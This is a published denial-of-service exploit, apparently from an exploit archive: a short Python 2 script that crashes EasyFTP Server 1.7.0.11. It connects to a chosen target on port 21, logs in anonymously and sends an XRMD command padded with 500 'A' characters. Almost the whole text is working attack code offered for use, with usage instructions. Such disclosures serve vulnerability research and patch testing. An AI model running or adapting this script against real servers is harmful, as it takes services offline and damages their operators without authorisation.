EasyFTP Server 1.7.0.11 Denial Of Service

`#!/usr/bin/python  
#  
# e-mail: [email protected]  
#  
# Date: 06/10/2021 - 10 jun  
#  
# Version Vulnerable: EasyFTP Server 1.7.0.11 - 'XRMD' Denied of Service  
#  
# OS Tested: Windows XP PACK 3 Brazilian  
  
import socket  
import sys  
  
if len(sys.argv) != 2:  
print "########################################################"  
print "#  
#"  
print "# EasyFTP Server 1.7.0.11 - 'XRMD' Denied of Service  
#"  
print "#  
#"  
print "# Author: Fernando Mengali  
#"  
print "#  
#"  
print "# Usage: exploit.py <IP>  
#"  
print "#  
#"  
print "########################################################"  
sys.exit(1)  
  
target = sys.argv[1]  
  
payload = "A"*500  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
connect = s.connect((target, 21))  
print "[+] Conectado com sucesso"  
except:  
print "[-] Falha ao conectar para o servidor..."  
sys.exit(0)  
s.recv(1024)  
print "[+] Autenticando..."  
s.send('User anonymous\r\n')  
s.recv(1024)  
s.send('PASS anonymous\r\n')  
s.recv(1024)  
print "[+] Enviando pacote crafted..."  
s.send('XRMD '+payload+'\r\n')  
s.close()  
`